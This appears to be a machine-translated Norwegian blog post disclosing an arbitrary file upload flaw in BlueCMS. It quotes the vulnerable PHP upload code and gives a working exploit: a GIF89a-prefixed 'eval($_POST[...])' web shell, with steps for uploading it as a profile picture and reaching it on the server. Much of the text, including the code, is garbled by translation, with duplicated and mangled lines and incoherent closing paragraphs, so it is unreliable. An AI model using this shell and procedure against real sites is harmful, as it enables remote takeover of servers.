bluecms 0day-0day, bluecms, bluecms 0day, php, innrykker, fil head-st0p 's blogg

bluecms 0day

Dette innlegget ble postet på 7 oktober 2009

: St0p
Gjengitt vennligst oppgi kilden: http://www.st0p.org

Merk: Beklager, er den versjonen av morgenen hår om natten kalt dual til avisen en 0day, informert om, og bare gå til den offisielle så på, og har gitt ut en sikkerhetsoppdatering snart ah .. du kan gå på nettet ikke en oppdatert versjon av testen ...

Akk, gruppe A venn av meg gjorde et CMS, sa brukerdata å modifisere noen kan injiseres, sa analysen, med lokalt installert etter, kan ikke bruke anførselstegn er rømt magic_quotes_gpc = off. . .

Se include / common.inc.php linje, gi opp. .

  ......
  ! get_magic_quotes_gpc ( ) ) if (! get_magic_quotes_gpc ())
  {
 	 deep_addslashes ( $_POST ) ; $ _POST = Deep_addslashes ($ _POST);
 	 deep_addslashes ( $_GET ) ; $ _GET = Deep_addslashes ($ _GET);
 	 deep_addslashes ( $_COOKIES ) ; Kr _COOKIES = Deep_addslashes ($ _COOKIES);
 	 deep_addslashes ( $_REQUEST ) ; $ _REQUEST = Deep_addslashes ($ _REQUEST);
  }
 ......

Kanskje st0p lykke, se opp bilder av deler, analyse av koden, bruker noe som finnes i user.php. .

  BLUE_ROOT . 'include/upload.class.php' ) ; //调用上传类 require_once (BLUE_ROOT. 'inkluderer / upload.class.php'); / / kaller opplastingen klassen
     new upload ( ) ; $ Bilde = ny opplastingen ();
	  isset ( $_FILES [ 'face_pic' ] [ 'error' ] ) && $_FILES [ 'face_pic' ] [ 'error' ] == 0 ) { if (isset ($ _FILES ['face_pic'] ['error']) && $ _FILES ['face_pic'] ['error'] == 0) {
		 $image -> img_upload ( $_FILES [ 'face_pic' ] , 'face_pic' ) ; $ Face_pic = $ image -> img_upload ($ _FILES ['face_pic'], 'face_pic'); 
                          / / Ikke finne suffiks direkte inn, vil klassen kunne passere SHELL
	 }

Åpne inkluderes / upload.class.php bare for å oppdage filhodet oppdager ikke suffikset

 upload { private $allow_image_type = array ( 'image/jpg' , 'image/gif' , 'image/png' , 'image/pjpeg' ) ; ...... function img_upload ( $file , $dir = '' , $imgname = '' ) { if ( empty ( $dir ) ) { $dir = BLUE_ROOT . DATA . UPLOAD . date ( "Ym" ) . "/" ; } else { $dir = BLUE_ROOT . DATA . UPLOAD . $dir . "/" ; } if ( ! file_exists ( $dir ) ) { if ( ! mkdir ( $dir ) ) { showmsg ( '上传过程中创建目录失败' ) ; } } if ( empty ( $imgname ) ) { $imgname = $this -> create_tempname ( ) . $this -> get_type ( $file [ 'name' ] ) ; } $imgname = $dir . $imgname ; if ( ! in_array ( $file [ 'type' ] , $this -> allow_image_type ) ) { //只是检测了文件头部来着，那我们就直接构造一个SHELL就好了 showmsg ( '不允许的图片类型' ) ; } } ...... Klasse upload {private $ allow_image_type = array ('image / jpg', 'image / gif', 'image / png', 'image / pjpeg'); ...... funksjon img_upload ($ fil, $ dir ='', $ imgname ='') {if (tom ($ dir)) {$ dir = BLUE_ROOT DATA Opplastingsdato ("Ym") "/";....} else {$ dir = BLUE_ROOT dataopplasting $ dir "/";..} if (file_exists ($ dir)) {if (mkdir ($ dir)!) {showmsg ('opplastingsprosessen Kunne ikke opprette katalog');}} if (tom ($ imgname)) {$ imgname = $ dette -> create_tempname () $ dette -> get_type ($ file ['navn']);.} $ imgname = $ dir $ imgname; if (in_array ($.! file ['type'], $ dette -> allow_image_type)) {/ / bare for å oppdage filhodet med, vi direkte konstruere en SHELL som en showmsg av bildet type ('ikke tillatt');}}

Ovennevnte save for st0p.php

A 2	GIF89a ( $_POST [ st0p ] ) ; ?> <Php eval ($ _POST [st0p]);?>

Note Network kontopåloggingen, medlem -> min profil, deretter laste det nye bildet til valget vi konstruert en PHP-fil, velg bekrefte modifisere, vise adressen er vellykket, høyreklikk på bildet direkte på linjen. . Word SHELL lastet opp!

Analysen er fullført, håper jeg at flere børser, spørsmålet om disse tingene bare ønsker å møte noen venner sammen for å diskutere teknologi, satt opp gruppen også, bare en vanlig gruppe, bare 100 mennesker, rydde opp, aldri snakke ble dårlig lastet B kaos T, deprimert, er åpen gruppe for utveksling, snakker ikke har vært plassholder på plass, ønsker å gå videre, kan reservert veien ikke gå!
Hvis du inn i gruppen bare for å få resultatene av diskusjoner om andre fra andre, vet ikke å betale, eller bare komme dykking, eller uten. . .